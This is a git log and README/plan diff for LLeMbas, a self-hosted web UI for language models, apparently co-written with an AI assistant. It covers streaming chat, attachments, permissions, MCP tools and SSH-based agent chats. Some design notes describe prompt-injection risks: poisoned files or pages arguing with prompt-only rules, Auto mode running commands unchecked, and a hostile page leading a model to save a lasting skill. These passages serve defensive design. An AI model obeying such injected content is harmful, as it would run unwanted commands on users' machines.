/admin/models rendered a full edit form for every model. With eight that
was merely long; with a hundred it was unusable, which is the report.

The list is now compact rows only -- avatar, name, badges, position,
reorder buttons, Edit link -- with search across id and display name,
filter tabs (All / Enabled / Disabled / Pinned / Restricted, each with a
count), a connection filter, and pagination at 40. Filters are links, so
a filtered view is a real URL you can keep. Editing moved to
/admin/models/{id}/edit, one model per page, with Previous/Next links so
a freshly imported connection can be tidied without returning to the
list each time.

Measured with 128 models: the list is 73 KB showing 40 rows over 4
pages, and a detail page is 17 KB. The old page would have rendered all
128 forms into one response.

Reordering needed rethinking at that size too. Up/down is fine for
nudging a model one place but hopeless for moving it sixty, so the
detail page has a position field you type into; the value is clamped and
a non-numeric one is ignored rather than throwing. The move buttons take
a `back` field so they return to whatever filtered, paginated view they
were pressed on instead of dumping you at page 1.

Also adds a select-all checkbox for the bulk bar, scoped to a container
selector rather than the page so a future list can carry more than one.

212 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 13:43:00 +02:00
Jaroslav Beneš 7b67568f2c Fix bulk actions, create chats lazily, rework the UI
Seven reported problems.

**Bulk model actions 404'd.** /admin/models/{model_id} was registered
before /admin/models/bulk, and FastAPI matches in registration order, so
"bulk" was parsed as a model id. Moved above the parameterised route,
with a comment saying why, and a regression test.

**Empty chats piled up.** There is now no endpoint that creates one.
"New chat" is a link to /chat, which renders a composer with no row
behind it, and POST /api/chats/start writes the chat together with its
first message. Opening one and walking away leaves nothing.

**Pinning meant two different things.** The picker is now always in the
administrator's position order; pinned models get shortcuts in the chat
sidebar and nothing else. A picker whose order silently differs from the
admin screen is just confusing.

**Model images were missing in chat.** Assistant bubbles now show the
avatar of the model that actually wrote the turn -- which is not always
the model the chat is set to now -- falling back to the LLeMbas mark.
The picker shows it too.

**No global or per-model system prompt.** Three layers now: instance
(Admin -> General), model (Admin -> Models), chat. Precedence, not
concatenation: most specific wins outright. Stacking them reads well in
a settings screen and badly in practice, because two layers that
disagree give the model contradictory instructions and nobody can tell
which is losing. The chat panel shows the inherited prompt as
placeholder text so "leave empty to inherit" is not a guess.

**Alignment and button sizing.** Added --control-h and friends to
tokens.css; every button, input and select takes its height from them,
so a mixed row is flush by construction rather than by per-instance
nudging. Icon buttons are square at that height. Added .btn-row,
.card__header/.card__footer and .grid so pages stop carrying inline
styles, and moved every admin page onto them.

**Settings needed structure.** The user settings page is now tabbed
(Account / Models / Appearance / Security) using radio inputs and
sibling selectors -- no JavaScript, and the browser keeps the chosen tab
across a re-render.

Caught while checking: the chat.css surgery had deleted the attachment,
chip and dropzone rules. Restored, and there is now a check that every
literal class used in a template has a CSS rule.

197 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 12:59:52 +02:00
Jaroslav Beneš bdce2764b1 File attachments: images for vision, PDFs and text into the prompt
Drag, paste or pick a file in the composer. Images go to vision models
as multimodal content parts; PDFs and text files have their content
extracted and placed in the prompt. Verified end to end against
gemma4-e4b-q8 on llama-swap: given a drawing and a text file, it named
the red square and blue circle and read the number out of the document.

Type is decided by inspecting the bytes, never the filename or the
browser's Content-Type -- a .png full of text is stored as text. Images
are downscaled to 1400px and re-encoded: a phone photo is several
megabytes of base64, which is slow and a large slice of the context
window. PDF text is extracted once, at upload, and stored; re-extracting
per request would let a reply change because a parser was upgraded.

Design points worth keeping:

- Images are only sent to models an administrator has marked `vision`.
  This is not graceful degradation -- most endpoints reject the entire
  request rather than ignoring an image part. A plain text turn stays a
  plain string for the same reason: the list form 400s on endpoints that
  do not implement it.
- Images reach the model as base64 data URIs, not links. A local
  endpoint has no route back to LLeMbas, and a hosted one has no
  credentials for it.
- Non-images are served Content-Disposition: attachment with nosniff, so
  an uploaded .html can never execute in this origin. Stored names are
  random; the uploader's name is a label and never a path.
- Uploads are unbound until the message is sent, which is what lets a
  file be removed beforehand. claim() only takes unclaimed rows owned by
  the sender, so a forged id cannot pull in someone else's file.
  Abandoned uploads are swept at startup.
- A scanned PDF says so rather than silently contributing nothing, and
  truncation is declared to the model in the document tag so it can
  admit it did not see page 400.
- "Here, look at this" with no words is a legitimate turn, so a message
  is only empty when it carries neither text nor files.

Also fixes auto-titling, which read message["content"] as a string and
would have broken on the first multimodal turn.

186 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 12:19:59 +02:00
Jaroslav Beneš d6c87ac811 Users, groups, permissions, model settings and reasoning display
Four features, plus the schema machinery they needed.

**Schema sync.** The first live instance had data in it, and create_all
only creates missing *tables* -- a new column silently never appeared.
db/migrations.py now diffs the declared models against the database and
ALTER TABLE ... ADD COLUMN for what is missing, deriving a backfill
default from the column type (SQLite refuses a NOT NULL column without
one, and a Python-side `default=dict` cannot be expressed in DDL).
Verified against a copy of the live database: eight changes applied, all
rows preserved, second run a no-op. Renames, drops and retypes are still
manual and say so.

**Permissions.** A flat set of named booleans: an instance baseline
widened by each group the user belongs to. A group grants and never
denies -- with denies, "why can this user not do X" cannot be answered
without simulating every group. Admins bypass entirely, because an admin
can grant it back to themselves in two clicks and pretending otherwise
is theatre. Model *access* is separate: public, or granted to groups.
The picker is not the boundary -- switching a chat to a model you cannot
reach is a 403.

**Model settings.** Ordering, pinned-first, an instance default and a
per-user default, display names, descriptions, capability flags, and
uploaded images. Images are stored and served locally rather than by
URL: a remote URL makes every page render a request to a third party.
Uploads are validated by magic number, not the declared content type,
and stored under a random name. Models with no image get a generated
initial whose hue is derived from the model id, so it is stable.

**Reasoning display.** Streams into its own collapsible block above the
answer, labelled "Thought for 14 seconds", collapsed once finished, and
never replayed as context on the next turn. Two sources: the
reasoning_content delta field, and <think> tags inline in content -- the
latter needs a streaming splitter because the tags arrive split across
chunks. Models emitting no reasoning show nothing, via a :has() rule
rather than JavaScript. Verified against qwen35-9b on llama-swap: 694
reasoning events, 52 answer tokens, cleanly separated.

Two bugs found and fixed while testing:

- A bare `Mapped[list]` relationship is treated by SQLAlchemy as a scalar
  and returns None instead of []. It needs the element type.
- FastAPI substitutes the default for an empty form value, so with
  `x: str | None = Form(None)` a submitted `x=` is indistinguishable from
  an absent field. That silently broke clearing a system prompt or a
  temperature. update_chat now reads the raw form and checks key presence.

143 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 11:49:32 +02:00
Jaroslav Beneš ba2fb1e13d Add registration toggle and password change; genericise deploy
Two things the running instance needed.

**Registration toggle.** Admin -> General, backed by a new settings table
group rather than the environment. LEMBAS_ALLOW_SIGNUP now seeds only the
initial value: once an administrator saves the setting, the stored value
wins. The alternative -- environment always winning -- means a toggle in
the UI silently reverts on the next restart, which is worse than not
offering one. Closing registration also removes the "Create one" link
from the sign-in page, so the link never leads somewhere that refuses.

**Password change**, on the user settings page. Changing a password
revokes every other session and immediately re-issues a cookie for the
current one: if the reason for the change is that somebody else knows
the password, leaving their session alive defeats the point, but signing
the user out of the tab they are standing in is merely rude.

**deploy/ is now host-agnostic.** This repository is public, so the unit
and vhost became templates with __PREFIX__ / __SITE_HOST__ / __APP_PORT__
substituted at install time, and every path, hostname and port moved to
environment variables. REPO_URL defaults to the checkout's own origin so
a fork deploys itself. Machine-specific values belong in private notes,
not here -- CLAUDE.md now says so.

83 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 11:14:33 +02:00
Jaroslav Beneš dd9e0e9440 Working chat: auth, connections, streaming, folders
LLeMbas now runs end to end. Register, add an OpenAI-compatible
connection, and hold a real streaming conversation organised into
folders. Verified against the local llama-swap instance.

Streaming is the one genuinely tricky part. Sending a message returns
two HTML fragments -- the user bubble and an empty assistant bubble
carrying an sse-connect -- and that attribute is the ONLY thing that
starts a generation. Rendering an incomplete assistant message as a
streaming shell falls out of the same template, which means loading a
page whose last reply never finished simply picks it up again.

Details worth knowing about, each commented where it matters:

- SSE payloads are split across several data: lines. A raw newline in
  one data: line truncates the event, which shows up the first time a
  model emits a code block.
- Markdown is rendered server-side by the same helper for both the page
  and the final streamed frame, so the two cannot disagree. The fence
  renderer is replaced outright rather than using markdown-it's
  highlight option, which re-wraps output in a second <pre>.
- escape_text is html.escape, not nh3.clean_text: it escapes character
  by character, so escaping stream chunks separately equals escaping
  the whole string.
- The stream opens its own session via session_scope(); it outlives the
  request handler and the dependency-scoped session may be closed.
- Deleting a folder keeps the chats inside it (FK is SET NULL). Losing
  a conversation to a mis-clicked folder delete is unforgivable.
- Login failures use one message for "no such account" and "wrong
  password" so the form cannot enumerate registered addresses.

Also adds deploy/ for the gamebox install at https://chat.lan: system
unit, nginx vhost with buffering off (buffering on turns streaming into
one lump at the end), and install/update scripts following the same
service-user and /srv bind-mount conventions as llama-swap and comfyui.

70 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 11:04:13 +02:00
258 changed files with 58901 additions and 190 deletions
+4 -2
View File
@@ -20,8 +20,10 @@ LEMBAS_RELOAD=false
# debug | info | warning | error # debug | info | warning | error
LEMBAS_LOG_LEVEL=info LEMBAS_LOG_LEVEL=info
# Allow new accounts to register themselves. The very first account created is # Allow new accounts to register themselves. This is only the INITIAL value:
# always an admin, regardless of this setting. Turn off once your users exist. # once an administrator sets it under Admin -> General, the stored setting wins
# and this variable is ignored. The very first account created is always an
# admin regardless.
LEMBAS_ALLOW_SIGNUP=true LEMBAS_ALLOW_SIGNUP=true
# Default theme for signed-out visitors: moria (dark) or shire (light). # Default theme for signed-out visitors: moria (dark) or shire (light).
+1291
View File
File diff suppressed because it is too large Load Diff
+337
View File
@@ -0,0 +1,337 @@
# LLeMbas — plan and status
Where the project is, what is deliberately not built yet, and the decisions
that would be expensive to revisit. Kept current as work lands; the detail of
*how* things work lives in [`CLAUDE.md`](CLAUDE.md).
**Status:** usable daily. Streaming chat, attachments, reasoning, tool calling
with web search, custom HTTP tools and MCP servers, agent chats that work on a
machine over SSH, a knowledge library, notes, memory and skills, speech in and
out, users and groups, model administration, installable as an app. 1009 tests,
`ruff` clean.
---
## The shape of it
A self-hosted web UI for OpenAI-compatible endpoints, written in Python, themed
after Middle-earth.
| | |
|---|---|
| Stack | FastAPI + Jinja + htmx + a little Alpine |
| Build step | none — no Node, no npm, no CDN at runtime |
| Database | SQLite, schema synchronised additively at startup |
| Deployment | systemd unit + nginx vhost, one worker |
These are load-bearing. Dropping the no-build rule or moving off SQLite would
be a different project, not a refactor.
---
## Done
### Chat
- [x] Streaming replies over server-sent events
- [x] **Markdown renders progressively** — re-rendered whole every 100ms rather
than appending tokens, because a list or code fence is only correct once
its context exists
- [x] Syntax highlighting (Pygments), sanitised with nh3
- [x] **Generation runs in the background** — a task, not the request. Navigate
away, open another chat, close the tab: the reply keeps being written and
reattaching replays the whole state
- [x] **Stop** — the send button becomes Stop while writing; what arrived is kept
- [x] **Rewind** — edit one of your own turns and the conversation runs on from
there. Truncates rather than branching
- [x] Copy, regenerate, automatic chat titles
- [x] Chats created on first message, so an abandoned composer leaves nothing
- [x] **Unread indicator** — a green dot and a toast when a reply lands while
you were elsewhere
- [x] Folders, arbitrarily nested; deleting one keeps the chats inside it
- [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
live while streaming and kept afterwards. Estimated with a `~` when the
endpoint reports no usage
- [x] Compaction — a button, and automatically at a configurable percentage of
the model's context. Summarised turns are kept and collapsed, not deleted
- [x] Temporary chats — never listed, swept after a day, with a Keep button
- [x] An admin-only request inspector beside the thread
### Tools
- [x] **Tool calling** — one reply is a bounded loop of requests, not one
request. Text produced before a call is kept
- [x] **Web search** as the first tool: DuckDuckGo (no setup), SearXNG or
Firecrawl, chosen in the admin area
- [x] Only offered to models flagged `tools`, because an endpoint without
support rejects the whole request rather than ignoring the array
- [x] Sources stay in the transcript; results are **not** replayed as context on
the next turn, for the same reasons reasoning is not
- [x] A round's calls run together, and the reply says which tool is running —
a remote tool taking seconds with nothing streaming looks like a hang
- [x] **A reply can stop and ask you something** — one or more questions on one
card, with answers to pick from and a box to write your own, answered
together. The same mechanism carries command approvals
- [x] **Custom HTTP tools** — an administrator describes one call: a JSON Schema,
a URL template, headers, an encrypted secret and how to read the answer.
Arguments may fill a hole but never move the target: the scheme and host
are literal, values are escaped for where they land, and the origin is
pinned afterwards
- [x] **MCP servers** over streamable HTTP — a hand-written client, so that
`check_url` runs on every hop rather than being bypassed by somebody
else's transport. Tools are discovered and cached by a button, namespaced
per server, and a server's own descriptions are bounded before they reach
a model as instructions
- [x] Both gated like the built-ins — a model capability, a permission — and
restrictable to groups, with guidance of their own on `/admin/prompts`
- [x] Local MCP over stdio is deliberately absent: spawning a subprocess would
run on this machine, which nothing here does
### Agent chats
- [x] A chat is a **Chat** or an **Agent**, chosen when it starts and fixed
thereafter — a transcript whose earlier turns ran somewhere else is not
one conversation. Knowledge, memories and skills are shared across both
- [x] **Nothing runs on the LLeMbas host.** Commands go to a machine reached
over SSH, so containment is somebody's considered choice of host — a
container built for the job — rather than a sandbox built here. A local
one was designed in detail and dropped; see CLAUDE.md for why
- [x] **SSH connections are user-owned**, like notes. An administrator decides
only whether the feature exists at all
- [x] Trust on first use, made explicit: adding a host does not connect to it,
**Check** shows its fingerprint with nothing sent, and only accepting
pins it. A host that later answers with a different key is refused
- [x] Four modes as a table over what each tool does to the world —
**Manual** asks about everything, **Edit** writes freely but asks before
commands, **Auto** asks about nothing, **Plan** reads freely and changes
nothing. Switchable at any time; read once per reply
- [x] Enforced in the generation loop, not in the prompt: a rule a model is
merely told is one a poisoned file can argue with
- [x] A deny list beats **Auto**; an allow list cannot be matched by a command
containing anything that joins two commands together
- [x] `shell_run`, `file_read`, `file_write`, `file_list` — files over SFTP,
never through a shell, because the SSH exec protocol has no argv form
- [x] **Plan mode ends with a plan** you can carry out with one button, which
switches to Edit and sends it back quoted rather than as an instruction
- [x] Per-reply budgets on steps, wall clock and output, with time spent
waiting for you subtracted
- [x] **A terminal panel** beside the chat, holding a real shell on that chat's
own connection. The modes govern the model; what a person types is theirs,
since they hold the credential and could open the same shell with an ssh
client. The model cannot see the panel — sending it output is a button
- [x] The shell outlives the panel and the page: closing it leaves a build
running, and coming back reattaches with the scrollback. An idle timeout
is what eventually ends one, and so does deleting the chat, or disabling,
moving or deleting the connection
- [x] **The panel is resizable**, dragged from its edge or nudged with the
arrow keys, and the width follows you to another browser
- [x] **It knows where one command ends and the next begins** — bash and zsh
are given the markers VS Code and WezTerm use, so *Copy* and *Send* mean
one command and its output rather than the last forty rows of the screen.
An **Auto** toggle collects each one into the next message. Any other
shell starts exactly as it did before, the buttons fall back to the
screen and say so, and Auto is disabled rather than degraded
- [x] **The project directory is listed for the model** — one read-only
command, `git ls-files` where that works so `.gitignore` is honoured for
free, budgeted so a big directory becomes a count rather than a thousand
filenames on every request
- [x] **A directory is chosen by browsing it** over SFTP, not by typing a path
into an unlabelled box
- [x] The approval mode is chosen **before** the first message, beside the
message box rather than in the header
### The library
- [x] **Knowledge bases** — documents, images and saved web pages, grouped into
named collections and ingested through the same pipeline as chat
attachments, searched with SQLite FTS5
- [x] A chat can be pointed at particular bases, so "answer from the contracts
folder" is a different question from "answer from everything I have"
- [x] **Notes** — longer things the model writes down and searches later;
editable by hand, because they are yours
- [x] **Memory** — short facts, injected on every turn to a budget rather than
searched, and managed in your settings
- [x] **Skills** — saved procedures. Only the name and description are injected;
the body is fetched when the model decides it applies
- [x] A model may write and revise its own notes, memories and skills. Every
skill revision is kept, attributed and revertible — the safety story is a
record and a way back, not a gate
- [x] **Sharing** — a knowledge base, a note or a skill can be shared with a
group or with named people, read-only. One visibility rule, and
administrators do not bypass it. Documents are shared through their base
- [x] **The harness** — an operational prompt assembled from what a model
actually has, so the tools get used rather than ignored
- [x] Attach menu: file, image, a web page fetched on the spot, or a document
from the library
- [x] **`@` to name one** — the library everywhere, and files in the project
directory in an agent chat. The reference stays in the sentence and the
contents come along, with the path and the machine, so the model knows
exactly which file it was handed
### Audio
- [x] **Dictation** — record in the composer, transcribed by any OpenAI-shaped
`/v1/audio/transcriptions` endpoint. The recording never touches disk
- [x] **Read aloud** — any `/v1/audio/speech` endpoint, with the voice list
discovered from the server where it offers one
- [x] Instance defaults in Admin, per-reader overrides in Settings — voice,
speed, dictation language, and whether replies play automatically
### Models and reasoning
- [x] OpenAI-compatible connections with encrypted keys and model discovery
- [x] **Reasoning display**`reasoning_content` and inline `<think>` tags,
collapsed by default, labelled with how long it took, never replayed as
context
- [x] Model admin as a list plus a page per model; scales to hundreds
- [x] Ordering, pinning (a sidebar shortcut, *not* a reordering), instance
default, per-user default, images, capability flags
- [x] Custom model picker showing avatars, descriptions and capabilities
### Attachments
- [x] Drag, paste or pick images, PDFs and text files
- [x] Images downscaled and sent to vision models as content parts
- [x] PDF and text extracted at upload and placed in the prompt
- [x] Type decided by inspecting bytes, random names on disk, non-images served
as downloads with `nosniff`
- [x] No OCR: a scanned PDF says so rather than silently contributing nothing
### People
- [x] Accounts, argon2, revocable server-side sessions, self-service password
change
- [x] Users and groups with permissions that **union** rather than override
- [x] Model access restricted to chosen groups
- [x] Registration toggle, instance settings stored in the database
### Prompts
- [x] Three layers — instance, model, chat — with the most specific winning
**outright** rather than being concatenated
- [x] Every injected fragment editable at `/admin/prompts`: the tool guidance,
the memory and skill sections, the seam above the authored prompt, and the
request that names a chat
- [x] `{{variables}}` with a legend, values shown as they currently resolve, and
pass-through for anything that is not one
- [x] A preview of the whole assembled system message, including unsaved edits
- [x] Defaults in code and overrides in the database, so improving a default
still reaches an instance that never edited it
### Suggestions
- [x] Admin-managed cards on the new-chat screen; three seeded once at startup
### Interface
- [x] **`/` for commands** — compact, usage, mode, model, title, the panels,
the theme. Anything not in the table is sent as an ordinary message, and
`//` starts one with a literal slash
- [x] **Keyboard shortcuts** for the same jobs, listed beside the commands in
one table so `/help` cannot go stale
- [x] Mentions and recognised commands are marked as you type, and again in the
transcript, so you can see what a message will do before sending it
- [x] **Reasoning effort** per chat, with a per-model default. Sent as both
`reasoning_effort` and `chat_template_kwargs`, and only once chosen:
OpenAI and vLLM read the first, llama.cpp silently drops it and reads
only the second
- [x] **Installable** — manifest, generated PWA icons, a service worker for the
shell and a themed offline page. The worker deliberately never touches
`/api/`: a reply is an event stream and caching one breaks it
- [x] Two themes (`moria`, `shire`) from one set of design tokens
- [x] Every control sized from `--control-h`, so rows line up by construction
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere
- [x] Original SVG artwork generated from a single source
### Operations
- [x] Additive schema sync — new tables and columns applied at startup
- [x] `deploy/` — systemd unit and nginx templates, install and update scripts
---
## Not built yet
In the order they are likely to be worth doing.
### Image generation
Left until last from the start, as it needs heavy customisation. ComfyUI is
already running on this machine and is the obvious first target.
### Smaller things
- **OCR** for scanned PDFs
- **Conversation branching** — `Message.parent_id` exists unused; needs a UI for
choosing between versions, which is why rewind truncates for now
- **Chat export** (Markdown, JSON)
- **Semantic search** in the library — the retrieval service is one call, so an
embedding backend can go behind it without touching the tools or the UI
- **Archived chats** — the column exists, nothing surfaces it
- **Per-user quotas**
---
## Known limits
Worth knowing before they surprise someone.
**One worker.** The generation registry and the stop mechanism are in-process.
Running several workers needs that state in the database or a broker, because
the request following a reply would not necessarily land in the process writing
it.
**A restart abandons replies in flight.** Shutdown cancels them and keeps what
each had. There is no resume.
**Schema changes are additive only.** New tables and columns apply themselves;
renames, drops and retypes are manual against the SQLite file. `MANUAL_STEPS`
in `db/migrations.py` is where such a step gets recorded.
**Attachments live on disk, unreferenced files are swept at startup.** No
deduplication, no size quota.
**Unread is polled every 10 seconds.** A push channel would be more responsive
but means an always-on connection per tab for the sake of a green dot.
**Installing needs HTTPS or localhost.** Service workers are unavailable over
plain HTTP, so a LAN install without TLS is a normal browser tab. The
microphone is unavailable for the same reason.
**Tool calling needs a model that supports it.** The `tools` flag is an
administrator's assertion, not something endpoints reliably advertise. Set it on
a model that cannot, and its replies fail rather than degrade.
**Library search is keyword, not semantic.** FTS5 ranks well and needs no
dependency or embedding endpoint, but "how do I get paid" will not find a
document that says "invoicing".
**A model can write its own skills, and they take effect at once.** Marked as
model-authored and fully revertible, but a model that has just read a hostile
page could save a skill that outlives the conversation. The mitigation is that
it is visible and undoable, not that it was prevented.
---
## Deliberate decisions
Recorded because each looks like an oversight until you know the reason.
- **No JavaScript build step.** Browser libraries are hash-pinned and committed.
A self-hosted tool should work offline and not report page views to a CDN.
- **Permissions union, never deny.** With denies, "why can this user not do X"
cannot be answered without simulating every group.
- **System prompts replace, never stack.** Two layers that disagree give the
model contradictory instructions and nobody can tell which is losing.
- **Rewind truncates, does not branch.** Branching needs a UI for choosing
between versions; "go back and try again from here" is what was asked for.
- **Pinning is a shortcut, not an ordering.** A picker whose order silently
differs from the admin screen is confusing.
- **Images only reach models marked `vision`.** Not graceful degradation: most
endpoints reject the entire request rather than ignoring an image part. Tools
are gated the same way, for the same reason.
- **Sharing grants reading, never writing.** Two people editing one note with no
history and no merge is worse than the inconvenience of copying it.
- **Memory is never shareable.** A record about a person is not content to hand
round.
- **Knowledge attached to a message is copied, not referenced.** History must not
change under a conversation because a document was edited later.
- **The harness is prepended to the authored prompt, not a fourth layer.** It
describes the machinery; the authored layers describe the behaviour. Only one
authored layer still wins.
- **Tool results are not replayed.** Like reasoning: the answer already contains
what the model made of them, and replaying stale results into every later
request wastes the window and sends small models into search loops.
- **The service worker caches the shell, never a page with a user in it.** A
cached conversation would be a snapshot that silently went stale, belonging to
whoever was signed in last.
- **Markdown rendered server-side.** One code path produces the streamed and
the stored view, so they cannot disagree.
- **This repository is public.** Deployment hostnames, ports and paths stay out
of it; `deploy/` is templates, and the real values live in private notes.
+383 -1
View File
@@ -1,2 +1,384 @@
# LLeMbas <p align="center">
<img src="assets/banner.svg" alt="LLeMbas — waybread for the long road of thought" width="100%">
</p>
<p align="center">
<strong>A self-hosted web UI for your language models, written in Python.</strong><br>
Talks to anything that speaks the OpenAI API. Themed after Middle-earth.
</p>
<p align="center">
<img alt="Python 3.11+" src="https://img.shields.io/badge/python-3.11%2B-3E6B7A?style=flat-square">
<img alt="License GPL-3.0" src="https://img.shields.io/badge/license-GPL--3.0-C9A227?style=flat-square">
<img alt="No Node required" src="https://img.shields.io/badge/build%20step-none-6B8E4E?style=flat-square">
</p>
---
*Lembas* is the Elvish waybread — one bite sustains a traveller for a day's
march. The capitals hide what it runs on: **LLeM**bas.
## Why this exists
Most self-hosted LLM front-ends are large JavaScript applications with a Python
API bolted underneath. LLeMbas is the other way round: **server-rendered
Python**, with htmx and a little Alpine for interactivity. There is no
`package.json`, no bundler, no build step, and nothing is fetched from a CDN at
runtime. Clone it, `pip install -e .`, run it.
## Features
**Working now**
- **Chats** — streaming replies, Markdown with server-side syntax highlighting,
copy and regenerate, automatic chat titles. Chats are created when you send
the first message, so an abandoned one never clutters the sidebar
- **System prompts** — instance-wide, per-model and per-chat, with the most
specific winning outright
- **Reasoning display** — thinking streams into its own collapsible block
(closed by default), labelled with how long it took, and is never replayed as
context
- **Live Markdown** — formatting appears as the model writes, not at the end
- **Stop and rewind** — cut a reply short and keep what arrived, or edit an
earlier message and run the conversation on from there
- **Replies keep running in the background** — navigate away, open another
chat, close the tab; a green dot and a notification tell you when it lands
- **Attachments** — drag, paste or pick images, PDFs and text files. Images are
downscaled and sent to vision models; PDF and text content is extracted and
put in the prompt
- **`@` to name something** — a document from your library, or in an agent chat
a file in the project directory. The reference stays in the sentence you are
writing and the contents come with it
- **`/` for commands** — `/compact`, `/usage`, `/mode plan`, `/effort high`,
`/model`, `/title`, `/terminal`, `/theme`. The list appears as you type and
filters as you go; `/help` shows all of them with the keyboard shortcuts
beside them. A message that merely starts with a slash is still sent as
written, and both `@` and a recognised command are marked in the box as you
type so you can see what will happen before you press Enter
- **Reasoning effort** — `/effort low`, `medium` or `high` on a model marked as
reasoning, with a per-model default in the admin area. Sent two ways at once,
because there is no single field every endpoint reads
- **Folders** — arbitrarily nested, delete a folder without losing the chats
inside it
- **Web search** — offered to the model as a tool it calls when a question needs
it. DuckDuckGo out of the box (no account, no key), or point it at your own
SearXNG, or Firecrawl. The sources stay in the transcript
- **Your own tools** — describe an HTTP call in the admin area (a schema, a URL
template, a secret) and a model can make it. Or add an **MCP server** by URL
and its tools appear beside the built-in ones. Both restrictable to groups,
and neither can be pointed at your own network unless you say so
- **Agent chats** — start a chat as an *Agent* instead, pointed at one of your
own SSH connections and a directory on it, and a model can read files, write
files and run commands **there**. Nothing ever runs on the machine LLeMbas
itself is on. What it may do without asking is a mode you set and can change
mid-conversation: *Manual* shows you everything first, *Edit* writes freely
but asks before commands, *Auto* asks about nothing, and *Plan* reads freely,
changes nothing, and finishes by proposing steps you can carry out with one
button. Adding a host shows you its fingerprint before anything is sent to it
- **A terminal beside the chat** — the same connection, a real shell, opened and
closed like any panel. It survives closing the panel and reloading the page,
so a build keeps running; the model cannot see it, and a button hands it the
output you choose
- **It can ask you things** — a model that needs a decision can stop and put a
few questions on one card, with answers to pick from and a box to write your
own. In any chat, not only an agent one
- **Speech in and out** — dictate a message and have replies read aloud, against
any OpenAI-compatible audio endpoint (whisper.cpp, Speaches, Kokoro…). Each
person picks their own voice
- **A library** — four places a model can reach for. **Knowledge**: documents,
images and web pages you collect, grouped into named bases so a chat can be
pointed at just the right one, searched before the web. **Notes**: longer
things it writes down and finds again later. **Memory**: short facts about you,
in front of it on every turn. **Skills**: saved procedures it can follow, and
write. All of it visible and editable by you, and shareable with a group or a
person, read-only
- **Installable** — add it to a phone home screen or a desktop launcher and it
runs in its own window
- **OpenAI connections** — point at OpenAI, LM Studio, vLLM, llama.cpp,
llama-swap, Ollama or OpenRouter; models are discovered and cached
- **Model settings** — searchable, filterable list with a page per model:
ordering, pinned models, an instance default and a per-user default, custom
names, descriptions and images. Scales to hundreds of models
- **Users, groups & permissions** — per-group grants that union rather than
override, and model access restricted to chosen groups
- **Accounts** — first account becomes the administrator, argon2 password
hashing, revocable server-side sessions, self-service password change,
admin-managed accounts
- **Admin settings** — open or close registration from the UI, stored in the
database and effective immediately
- **Two themes** — *Moria* (dark) and *Shire* (light), switchable per user
**Planned**
Image generation · OCR for scanned PDFs · semantic search in the library.
See [PLAN.md](PLAN.md) for what is built, what is not, and why.
## Quick start
```bash
git clone https://git.houmeres.sk/Houmeres/LLeMbas.git
cd LLeMbas
python -m venv .venv && . .venv/bin/activate
pip install -e ".[dev,search,ssh]" # search: DuckDuckGo. ssh: agent chats.
# Drop either if you do not want it
cp .env.example .env
lembas secret-key # paste the result into LEMBAS_SECRET_KEY
lembas serve # http://127.0.0.1:8080
```
Open the address and create the first account — it becomes the administrator.
Then go to **Admin → Connections** and add an endpoint. For a local runner that
is usually `http://localhost:1234/v1` with no API key. Press **Test & refresh**
and its models appear in the chat model picker.
> The vendored browser libraries (htmx, Alpine) are committed, so no network
> access is needed to run. To re-fetch or bump them:
> `python scripts/fetch_vendor.py --update`.
### Web search
**Admin → Web search.** DuckDuckGo needs nothing beyond the `search` extra
above. SearXNG needs its JSON format enabled — add `- json` under
`search.formats` in its `settings.yml`, or every search fails. Firecrawl needs
an API key.
Search is offered to the model as a *tool*, so it decides when a question needs
looking up. It is only offered to models marked **tools** under
**Admin → Models**: an endpoint without tool support rejects the whole request
rather than ignoring the extra field, so the flag is a real switch and not a
hint.
### Audio
**Admin → Audio.** Two endpoints, because they are usually two servers:
| | Speaks | Example |
|---|---|---|
| Dictation | `POST /v1/audio/transcriptions` | whisper.cpp's `whisper-server`, Speaches, faster-whisper-server |
| Read aloud | `POST /v1/audio/speech` | Kokoro-FastAPI, OpenAI |
If the speech endpoint also answers `GET /v1/audio/voices` the voice list is
read from it, and each person can pick their own under **Settings → Audio**.
Recorded audio is passed straight through and never written to disk.
> The microphone needs HTTPS or localhost. Browsers do not grant it over plain
> HTTP, so a LAN install without TLS will not offer dictation.
### Agent chats
**Admin → Agents** to turn the feature on, then **Connections** in the sidebar
to add a machine. Three things have to line up before an agent chat can start:
the feature enabled, the *Run commands* permission, and a model flagged **Agent
execution**. All three are off by default, on purpose.
Nothing an agent does runs on the machine LLeMbas is on. Commands go to a host
you name over SSH, which means **the containment is that host** — a container
built for the job is a very different thing from a key to a server you care
about, and LLeMbas cannot tell them apart. A throwaway container is the intended
shape:
```bash
docker run -d --name agent-box -p 127.0.0.1:2222:22 <an sshd image>
```
Adding a connection does not connect to it. **Check** shows you the host's
fingerprint with nothing sent — not your username, not your key — and only
accepting pins it. If that host later answers with a different key, it is
refused rather than quietly trusted.
Then start a chat with the **Agent** toggle, pick the connection, browse to a
directory, and choose a mode — all of it under the message box, before you send
anything. The connection and the directory are fixed once the chat exists; the
mode changes at any time and stays where you chose it:
| | Reads | Writes files | Runs commands |
|---|---|---|---|
| **Manual** | asks | asks | asks |
| **Edit** | free | free | asks |
| **Auto** | free | free | free |
| **Plan** | free | asks | asks |
The mode is enforced in the reply loop, not written into the prompt: everything
a model reads — a web page, a README, the last command's output — is untrusted,
and a rule that lives only in a system message is one a poisoned file can argue
with. In **Auto**, nothing stands between that and a command running.
*Plan* finishes by proposing steps, with a button that carries them out — which
switches to *Edit*, never *Auto*, because the plan was written under a mode
where every command still asked.
#### What the model knows about the directory
An agent chat starts by listing the project directory, so a reply does not spend
its first rounds finding out what is there. It is one read-only command —
`git ls-files` in a repository, so `.gitignore` is honoured for free, otherwise
`find` with the usual noise pruned — and it is cached and shared by every chat
pointed at the same place.
What reaches the model is budgeted rather than dumped: a directory that will not
fit is shown as `node_modules/ (4,102 files)` and the model is told to open it
itself if it needs to. **Admin → Agents** sets the budget, and `0` keeps the
